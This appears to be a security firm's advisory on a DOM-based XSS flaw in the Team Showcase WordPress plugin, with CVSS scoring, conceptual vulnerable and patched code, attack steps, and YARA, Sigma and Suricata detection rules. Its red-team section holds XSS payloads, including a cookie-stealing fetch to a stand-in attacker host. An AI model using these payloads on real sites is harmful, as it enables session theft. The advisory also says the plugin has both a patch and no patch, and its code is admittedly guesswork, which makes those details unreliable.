CVE-2025-49247

Executive Summary

CVE-2025-49247 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Team Showcase WordPress plugin (team-showcase-cm) by developer cmoreira. The flaw exists in versions prior to 25.05.13 and stems from improper neutralization of user-supplied input during web page generation. An attacker can inject malicious JavaScript that executes in the victim's browser within the context of the vulnerable WordPress site, leading to session hijacking, credential theft, or defacement.

This vulnerability is classified as DOM-Based XSS because the payload is executed entirely on the client side via DOM manipulation, without requiring server-side reflection. The CVSS score of 7.1 (High) reflects the low attack complexity and potential for significant impact on confidentiality, integrity, and availability.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch from the vendor increases the risk of unpatched installations being exploited.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: High (7.1) – Exploitation is straightforward and can lead to account takeover or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the team-showcase-cm plugin's JavaScript handling of user-controlled data. The plugin likely reads data from document.location, document.URL, or document.referrer and injects it into the DOM without proper sanitization. For example, a parameter like ?team_name=<script>alert(1)</script> could be reflected in the page's HTML via innerHTML or document.write().

Attack Flow:

1. Attacker crafts a malicious URL containing a JavaScript payload in a query parameter or fragment identifier.
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The vulnerable plugin reads the attacker-controlled data from the URL and writes it to the DOM.
4. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of input validation and output encoding for data derived from the Location or URL API before DOM insertion.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// team-showcase-cm.js (vulnerable version)
var teamName = new URLSearchParams(window.location.search).get('team_name');
document.getElementById('team-display').innerHTML = teamName;

Patched Code (Conceptual):

// team-showcase-cm.js (patched version >= 25.05.13)
var teamName = new URLSearchParams(window.location.search).get('team_name');
var sanitized = DOMPurify.sanitize(teamName);
document.getElementById('team-display').textContent = sanitized;

Note: Actual patch may use textContent or a sanitization library like DOMPurify.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Vulnerable WordPress site with Team Showcase plugin < 25.05.13.
• Ability to deliver a crafted URL to a victim.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://target-site.com/?team_name=<script>alert('XSS')</script>

Advanced Payload (Session Hijacking):

fetch('https://attacker.com/steal?cookie=' + document.cookie)

Crafted URL:

http://target-site.com/?team_name=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Lab Setup:

1. Install WordPress and the vulnerable plugin version.
2. Create a page using the Team Showcase shortcode.
3. Access the page with the malicious query parameter.
4. Observe JavaScript execution in the browser console.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor web server logs for unusual query parameters containing <script>, <img onerror>, or javascript:.
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
• Implement Content Security Policy (CSP) headers to block inline scripts.

Mitigation:

• Immediately update the plugin to version 25.05.13 or later.
• If no patch is available, disable the plugin until a fix is released.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• URL Patterns: ?team_name=<script>, ?team_name=<img, ?team_name=javascript:
• HTTP Request Headers: Referer containing malicious payloads.
• Browser Console Errors: Unexpected JavaScript execution or network requests to unknown domains.
• File Hashes (Plugin): team-showcase-cm.zip (vulnerable version) – SHA256: UNKNOWN (no official hash available).

Detection Engineering

YARA Rule

rule CVE_2025_49247_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads targeting Team Showcase plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49247"
    strings:
        $payload1 = /[?&]team_name=.*<script/i
        $payload2 = /[?&]team_name=.*<img[^>]+onerror/i
        $payload3 = /[?&]team_name=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS via Team Showcase Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the team_name parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '?team_name=<script'
            - '?team_name=<img'
            - '?team_name=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in team names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49247 DOM-Based XSS Attempt"; flow:to_server,established; content:"team_name"; http_uri; pcre:"/[?&]team_name=(<script|<img[^>]+onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Upgrade to version 25.05.13 or later if available.
2. Disable Plugin: If no patch exists, deactivate and delete the plugin.
3. Apply WAF Rules: Block requests containing team_name with suspicious patterns.

Long-Term Measures:

• Implement Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Use a WordPress security plugin that monitors for XSS attempts.
• Regularly audit plugins for known vulnerabilities.

Vendor Contact: No official patch or response from cmoreira has been identified. Users should monitor the WordPress plugin repository for updates.

Valters IT
Securing Digital Frontiers